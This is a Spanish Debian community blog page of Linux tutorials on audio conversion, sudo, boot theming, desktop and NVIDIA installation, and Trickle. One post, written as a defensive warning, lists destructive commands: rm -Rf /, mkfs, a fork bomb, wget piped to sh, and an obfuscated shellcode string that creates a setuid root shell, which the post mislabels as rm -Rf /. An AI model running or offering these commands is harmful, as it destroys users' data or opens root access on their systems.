Noticias

Irc: Server: irc.freenode.org Canal: #debian-argentina
Webmail: http://mail.debian-ar.org/
Pedi tu cuenta enviando un correo: registro[arroba]debian-ar[punto]org


Convertir audio en GNU/Linux

En este post les propongo una manera muy geek de convertir de un formato de audio a otro. Lo publiqué en mi blog y me pareció buena idea compartirlo con la comunidad debianera de Argentina.

Si bien existen programas gtk que realizan la misma acción, todos esos son GUI’s de programas que se ejecutan en una terminal (ffmpeg, timidity, lame), por eso, como el teclado no muerde, les presento la forma de convertir formatos de audio mediante consola.

Antes de continuar deberíamos instalar los siguientes programas:
# aptitude install ffmpeg timidity lame

Antes de comenzar a realizar las conversiones voy a hacer algúnas aclaraciones “técnicas” con los parámetros de ffmpeg, lame y timidity. Si bien no son necesarios, ya que si no se aplican el archivo de salida va atener los mismos atributos que el de entrada, son útiles para enriquecer/empobrecer la calidad de la pista de audio, como así también para cambiar de mono a estereo o vicebersa.

El parámetro -ar (en ffmpeg) y -s (en timidity) corresponde a la frecuencia de muestreo y el valor mínimo es de 8000 hz, una calidad algo baja para archivos de audio.A continuación expreso algúnos valores (obtenidos de la WIkipedia) para que se guíen:

8000 hz: adecuado para la voz humana pero no para la reproducción musical.

22050 hz: adecuado para cd, vcd, svcd y archivos de audio.

48000 hz: adecuado para audio profesional (DVD y televisión digital).

96000 ó 192400 hz: adecuado para DVD y Blue-Ray.

El parámetro -ab (en ffmpeg) y -b (en lame) corresponde a la tasa de bits (bitrate) y los valores adeccuados para audio son los siguientes:

128 kbit/s: calidad satisfactoria para audio.

192 kbit/s: calidad buena para audio, muy utilizado en cd.

320 kbit/s: calidad máxima para audio.

El parámetro -ac (en ffmpeg) corresponde a la cantidad de canales de la pista de audio. Para mono el valor es 1, para estereo 2.

Con esto aclarado podemos comenzar a especificar como convertir formatos.

MP3 a MP3

Esto sirve para bajar la calidad a la pista de audio.
$ lame -b 64 archivo_origen.mp3 archivo_modificado.mp3

MP3 a AMR

Instala lo siguiente para poder llevar a cabo la conversión:
# aptitude install amr amr_wb

Ahora si, para convertir:
$ ffmpeg -i archivo.mp3 -acodec libamr_wb -ar 8000 -ac 1 -ab 12.2k archivo.amr

MP3 a OGG
$ ffmpeg -i archivo.mp3 archivo.ogg

MP3 a WAV
$ ffmpeg -i archivo.mp3 archivo.wav

MP3 a WMA
$ ffmpeg -i archivo.mp3 archivo.wma

WMA a MP3
$ ffmpeg -i archivo.wma archivo.mp3

WAV a MP3
$ ffmpeg -i archivo.wav archivo.mp3

AMR a MP3
$ ffmpeg -i archivo.amr -acodec libamr_wb -ar 8000 -ac 1 -ab 12.2k archivo.mp3

MIDI a WAV
$ timidity -Ow -s 44100 -o archivo.wav archivo.mid

MIDI a OGG
$ timidity -Ow -s 44100 -o archivo.ogg archivo.mid

Linux Prodigio

Buena publicidad de IBM

Esta pelicula requiere Falsh Player 8

Emulador de terminal Guake

Hola a todos!!

En este post quiero contarles sobre esta aplicación llamada “Guake”
Este programa es un emulador de terminal que esta residente en memoria, con lo cual resulta más rápido utilizar la consola que ejecutándola desde un acceso directo.
Guake sigue la misma línea de Yakuake y Tilda, pero es un intento de combinar lo mejor de ellos en una sola aplicación basada en GTK. Guake se ha escrito desde cero.

Para poder instalar esta aplicación es necesario apuntar nuestros repositorios a la rama Testing, en la cual encontraran la versión 0.3.1 de dicho programa. Dando vueltas hay bastante información sobre como cambiar el sources.list de Debian a la rama Testing, pero si alguien tiene la duda… Ingresen como Root, hagan una copia del archivo /etc/apt/sources.list y luego editen y donde dice “stable” deben colocar “testing”. Luego deben ejecutar
# aptitude update

Para instalar el programa simplemente el siguiente comando:
# aptitude install guake

Luego de esto aptitude se encargara de instalar además unas dependencias para que el programa funcione correctamente.
Una vez finalizada la instalación encontraran el icono en “Aplicaciones/Accesorios/Guake Terminal” o bien pueden ejecutarlo desde la consola con el comando guake. Para desplegar la consola, por defecto, se usa la tecla F12.
No olviden restaurar la copia del archivo sources y ejecutar aptitude update para que los repositorios apunten a la versión Estable.

Espero que este Post les resulte útil tanto como a mi :-)

Aquí les dejo algunas capturas:

Terminal desplegada Guake
guake1

Panel de configuración Guake
guake2

Configurar Sudo

Como algúnos ya sabrán, GNU/Linux no es un sistema en el que se esté trabajando constantemente como administrador, por lo que para realizar algúnas acciones deberían utilizar la terminal de root (Aplicaciones > Accesorios > Terminal de root).

Pero se puede dar el caso de que estemos trabajando en una terminal como un usuario normal, y de repente necesitemos llevar a cabo una acción que solicite permisos de administrador para realizarla. En estos casos es cuando aparece sudo. Sudo es una aplicación (común de los sistemas UNIX y deribados) que nos permite ejecutar acciones con los privilegios de otros ususarios, por lo general del usuario root.

En Debian no viene instalado y configurado por defecto este programa, pero no desesperen porque gracias a Dios viene en los repositorios, por lo que basta con ejecutar:

# aptitude install sudo

Una vez con el sudo instalado deberemos agregar nuestro usuario en la sección “User privilege specification” en el archivo /etc/sudoers, de tal forma que la sección quede así:

# User privilege specification
root ALL=(ALL) ALL
tu_usuario ALL=(ALL) ALL

Una vez configurado esto, ya podremos ejecutar acciones de administrador desde una terminal común, anteponiendo el sudo a la acción a realizar.

Enchulando el arranque del sistema con Startupmanager

Startup Manager es un programa que nos permite gestionar, por decirlo de alguna manera, el inicio de nuestro sistema. Si bien tiene muchas utilidades como:  la de proteger el GRUB con contraseña, cambiar el tiempo de espera del GRUB y otras cosas más relacionadas, en este artículo veremos solamente dos funcionalidades,  referidas al “enchule” como lo indica el título.

Pero antes de comenzar a hablar de ¿cómo hacer para agregar una imagen al GRUB? o ¿cómo cambiar el Uspalsh de inicio?, deberemos instalar el programa, que ya viene agregado en los repositorios oficiales, por lo que solo basta ejecutar:

# aptitude install startupmanager

Una vez instalado lo buscamos en Sistema > Administración > Administrador de Arranque. Nos pedirá contraseña de root y luego se abrirá el programa, que se ve algo así:

pantallazo-administrador-de-arranque

Bueno ahora si, vamos a realizar los cambios que mencionaba antes.

¿Cómo cambiar la imagen del GRUB?

Bueno, es sencillo, lo primero es escoger una imagen que nos agrade para insertarla en el GRUB. Recominedo buscar en www.gnomelook.org o también pueden intentar por Google.

Aclaremos que los formatos de las imagenes son “.xpm” y suelen venir archivados dentro de un “.gz” (para que nadie se asuste).

Una vez que ya tengamos nuestra imagen debemos colocarla en el directorio /boot/grub/splashimages. Iniciamos el programa y nos dirgimos a la solapa Aspecto, tildamos la opción Usar una imagen de fondo para el menú del Cargador de arranque. Pulsen el botón que dice Administrar temas del Cargador de arranque y en la nueva ventana que se les aparece selecciones añadir y ahora solo búsquen el archivo .xpm alojado en /boot/grub/splashimages.

Para seleccionar la imagen desplieguen la solapa de Imagen de fondo del GRUB y tilden la foto que agregaron en el paso anterior.

Reinicien el sistema y observen su nueva imagen de fondo del GRUB.

¿Cómo cambiar el usplash?.

Primero y antes que nada, para los que no saben que es el Usplash, les explico rapidito,que es la imagen que suele aparecer en muchos sistemas operativos a la hora de iniciarse este. Por ejemplo, en Window$ aparece en un fondo negro, con el logo del sistema y la barra de carga azul, o para lo más “alinuxados”, en Ubuntu aparece como una pantalla negra con el logo de Ubuntu y la barra de carga naranja.

Bueno con esa pequeña introducción ya podemos empezar por instalar el usplash de la siguiente manera:

# aptitude install usplash

Ahora, búsquen algún usplash que quisieran tener en las páginas que mencioné anteriormente. Les aclaro que los archivos deben ser de extensión “.so” y también pueden venir contenidos en archivadores.

Una vez que tengan sus imagenes para el usplash, coloquenlas en una carpeta oculta en su /home llamada usplash, para mantenerlos todos alojados ahí de una manera ordenada (esto es una cuestión mía, uds. guardenlos donde más les guste).

Para configurar la imagen como usplash, entren al Startup Manager, solapa Aspecto. Busquen y añadan la imagen desde Administrar temas de Usplash y seleccionenla desde la solapa de Tema Usplash.

Reinicien y disfruten los cambios.

El virus murciano (ojo afecta a GNU/Linux!)

virus español

7 comandos mortales en Linux

img30

Esta es una traducción de el interesante artículo “The 7 Deadly Linux Commands” publicado originalmente por Tech Source from Bohol:

Si eres nuevo en Linux, es probable que en algún momento te encuentres en algún foro o una sala de chat, con una persona malintencionada y poco inteligente que pretenda engañarte para que utilices comandos que puedan dañar tus archivos o incluso arruinar todo tu sistema operativo. Para evitar que se presente este peligroso escenario, he aquí una lista de comandos mortales en Linux que deberian ser evitados:

1. Comando:

# rm -Rf /

Este comando eliminará a la fuerza y recursivamente (incluyendo subdirectorios), todos los archivos dentro del directorio raiz.

2. Comando:

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “’xeb’x3e’x5b’x31’xc0’x50’x54’x5a’x83’xec’x64’x68?
“’xff’xff’xff’xff’x68’xdf’xd0’xdf’xd9’x68’x8d’x99?
“’xdf’x81’x68’x8d’x92’xdf’xd2’x54’x5e’xf7’x16’xf7?
“’x56’x04’xf7’x56’x08’xf7’x56’x0c’x83’xc4’x74’x56?
“’x8d’x73’x08’x56’x53’x54’x59’xb0’x0b’xcd’x80’x31?
“’xc0’x40’xeb’xf9’xe8’xbd’xff’xff’xff’x2f’x62’x69?
“’x6e’x2f’x73’x68’x00’x2d’x63’x00?
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Esta es la versión hexadecimal de [rm -Rf / ], con la cual podria engañarse incluso a usuarios linux mas experimentados.

3. Comando:

# mkfs.ext3 /dev/sda

Reformatea o elimina todos los archivos del dispositivo mencionado despues del comando mkfs.

4. Comando:

:(){:|:&};:

La ya conocida por muchos bomba fork. Este comando hará que tu sistema ejecute un elevado número de procesos, hasta que el mismo se “cuelgue”. A menudo esto puede acarrear perdida de datos.

5. Comando:

cualquier_comando > /dev/sda

Con este comando, se envian bloques de datos al dispositivo indicado, lo cual a menudo puede colapsar el sistema de archivos, dando como resultado una perdida total de datos.

6. Comando:

wget http://fuente_de_origen_inseguro -O- | sh

Estamos descargando datos, posiblemente un script, de alguna fuente no muy confiable, e inmediatamente despues, estamos ordenando que se ejecute el archivo descargado. Nunca, nunca hagas esto.

7. Comando:

mv /home/tudirectoriodeusuario/* /dev/null

Este comando mueve todos los archivos dentro de tu directorio home, a un lugar que no existe, razón por la cual, nunca podras ver tus archivos de nuevo.

Hay una gran cantidad de comandos igualmente mortales, los cuales pudieron omitirse en esta lista, por eso si tienes alguno para agregar, por favor compartelo con nosotros a traves de un comentario.

Fuente

COMO HACER UNA INSTALACION BASICA DE GNOME/KDE+DRIVER NVIDIA

Hola, Como andan? Tanto tiempo nuevamente, aquí dejo un tutorial a pedido de Azk, sobre cómo hacer una instalación mínima de gnome/kde, y  ya que estoy anexare también como instalar drivers de una placa de video NVIDIA.
Antes que nada, debemos ejecutar los siguientes comandos los cuales actualizaran, instalamos build-essential, y por ultimo las cabezera de tu kernel:

yoha:/home/daniel# apt-get update
yoha:/home/daniel# apt-get install build-essential
yoha:/home/daniel# apt-get install linux-headers-`uname -r`

Una vez que hicimos esto procedemos a instalar el servidor X, como root instalamos el paquete xorg y xserver-xorg:

yoha:/home/daniel# apt-get install x-window-system-core

Ahora instalamos los componentes te freedesktop.org , para ello:

yoha:/home/daniel# apt -get install hal dbus shared-mime-info desktop-file-utils

Por último instalamos gnome o kde de la siguiente manera:

Para gnome:
yoha:/home/daniel# apt-get install gdm gnome-core
Para kde:
yoha:/home/daniel# apt-get install kdm kde-core

Ya podemos disfrutar de nuestro entorno preferido ejecutando

Para gnome:
yoha:/home/daniel# /etc/init.d/gdm start
Para kde:
yoha:/home/daniel# /etc/init.d/kdm start

Bueno ahora instalaremos los drivers de nvidia en mi caso es una tarjeta: “NVIDIA GeForce Go 6150”

Para ello descargamos el driver de la página de nvida, en mi caso es este: http://es.download.nvidia.com/XFree86/Linux-x86/180.29/NVIDIA-Linux-x86-180.29-pkg1.run

daniel@yoha:~$ wget http://es.download.nvidia.com/XFree86/Linux-x86/180.29/NVIDIA-Linux-x86-180.29-pkg1.run

Una vez descargado, lo ejecutamos como root:

yoha:/home/daniel# sh NVIDIA-Linux-x86-180.29-pkg1.run

Y seguimos los pasos del asistente.

Nota: Recuerda que para instalar los drivers, debes antes ejecutar como root: “/etc/init.d/kdm stop” o en caso de gnome: “/etc/init.d/gdm stop”.

A mí me anduvo de una, pero si queres personalizar la configuración de las x podes utilizar el comando “dpkg-reconfigure xserver-xorg” (recuerda que las x deben estar cerradas).
Cualquier duda consúltenlo en el foro o por comentario.
Saludos
Pd: Quiero agradecerle a miguex, ya que me dio un par de tips para que el tutorial quedara mas optimo.

DEBIAN-AR DE REGRESO!

Estoy muy contento en informarles que el BLOG y el FORO se encuentra nuevamente disponibles, la causa del tiempo que estuvo off, fue por falta de tiempo, ya que decidi cambiar de proveedor de hosting, ya que me salió una oferta que era muy buena y decidi aceptarla, muchos se preguntaran ¿Si fue tan solo un cambio de hosting, porque estuvo tanto tiempo offline? Pues porque en este momento me encuentro en turnos de exámenes, por esa misma causa me demore, y esa es causa también de que hace mucho que no posteo, ya casi los turnos de exámenes están terminando, asi que Debian-ar será lo que era antes, les pido disculpa y como para abrir este nuevo ciclo de Debian-Ar, quiero dejar este post que he leído en PICANDOCODIGO, donde anuncia que se lanzo la version Debian GNU/Linux 5.0.

Finalmente se hizo oficial el lanzamiento de Debian GNU/Linux 5.0:

http://lists.debian.org/debian-announce/2009/msg00002.html

Un resúmen del anuncio y lo que incluye esta versión:

Debian GNU/Linux es un sistema operativo libre que soporta un total de doce arquitecturas de procesadores e incluye los entornos de escritorio KDE, GNOME, xfce y LXDE. Puede ejecutarse en computadoras desde palms y sistemas de mano hasta supercomputadoras, y prácticamente todo lo que haya en medio.

Las doce arquitecturas soportadas son: Sun SPARC (sparc), HP Alpha (alpha), Motorola/IBM PowerPc (powerpc), Intel IA-32 (i386), IA-64(ia64), HP PA-RISC (hppa), MIPS (mips, mipsel), ARM (arm, armel), IBM S/390 (s390), y AMD64 e Intel EM64T (amd64).

Adicionalmente, “Lenny” incluye soporte para varias Netbooks, en particular la Eee PC de Asus. “Lenny” también contiene las herramientas de compilación para Emdebian las cuales permiten que los paquetes de código fuente de Debian se compilen y disminuyan para caber en sistemas embebidos ARM.

En cuanto a software incluye varias actualizaciones: K Desktop Environment 3.5.10 (KDE), GNOME desktop environment 2.22.2, Xfce 4.4.2 desktop environment, LXDE 0.3.2.1, GNUstep desktop 7.3, X.Org 7.3, OpenOffice.org 2.4.1, GIMP 2.4.7, Iceweasel 3.0.6, Icedove
2.0.0.19
, PostgreSQL 8.3.6, MySQL 5.0.51a, GNU Compiler Collection 4.3.2, Linux kernel
version 2.6.26
, Apache 2.2.9, Samba 3.2.5, Python 2.5.2 y 2.4.6, Perl 5.10.0, PHP 5.2.6, Asterisk 1.4.21.2, Emacs 22, Inkscape 0.46, Nagios 3.06, Xen Hypervisor 3.2.1, OpenJDK 6b11, y más de 23.000 paquetes de software más listos para usar.

Con la integración de X.Org 7.3, el servidor X se autoconfigura con la mayoría del hardware. Nuevos paquetes introducidos permiten el soporte total de sistemas de archivos NTFS y el uso de la mayoría de las teclas multimedia “out of the box”. Está disponible el soporte para archivos de formato Adobe Flash a través de plugins swfdec o Gnash. Incluye juegos nuevos, puzzles y FPS, así como “goplay”, un navegador gráfico de juegos que ofrece filtros, búsqueda, capturas y descripciones para juegos en Debian.

Novedades en Java: La disponibilidad y actualizaciones de OpenJDK, el compilador Java de GNU, el intérprete de bytecode Java, Classpath y otras versiones libres de la tecnología Java de Sun, permite la entrega de aplicaciones basadas en Java en el repositorio “main” de Debian.

Mejoras en seguridad e internazionalización.

Se puede obtener Debian en CD, DVD, USB y floppies o desde la red, y como comentaba en la entrada anterior, también en Blu Ray. Esto permite que el archivo de paquetes para toda una arquitectura entre en disco Blu Ray. Como novedad además se agregaron CDs versiones Live para probar Debian sin instalarlo.

Por último comentar que Debian GNU/Linux 5.0 Lenny está dedicado a Thiemo Seufer, un Debian Developer fallecido el 28 de diciembre de 2008 en un accidente de autos.

Pueden obtener Debian en CD/DVD desde el siguiente enlace:
http://www.debian.org/CD/index.es.html

Saludos dag

Administrando el ancho de banda con Trickle

Trickle se encarga de limitar el uso de ancho de banda de “subida” y “bajada” de una aplicación que le especifiquemos.

Instalacion por apt. “apt-get install trickle”

probando:

Ejemplo 1:

trickle -u 5 -d 12 apt-get upgrade

Entonces trickle limitaría “apt-get upgrade” para usar solo 5 Kbps de “subida” y 12 Kbps de “bajada”, la ventaja es que trickle puede ser invocado tanto por usuarios como por root.

Ejemplo 2:

trickle -d 50 apt-get upgrade

Entonces trickle limitaría “apt-get upgrade” para usar solo 50 Kbps de “bajada”,

Mas Información: Trickle http://monkey.org/~marius/pages/?page=trickle

Fuente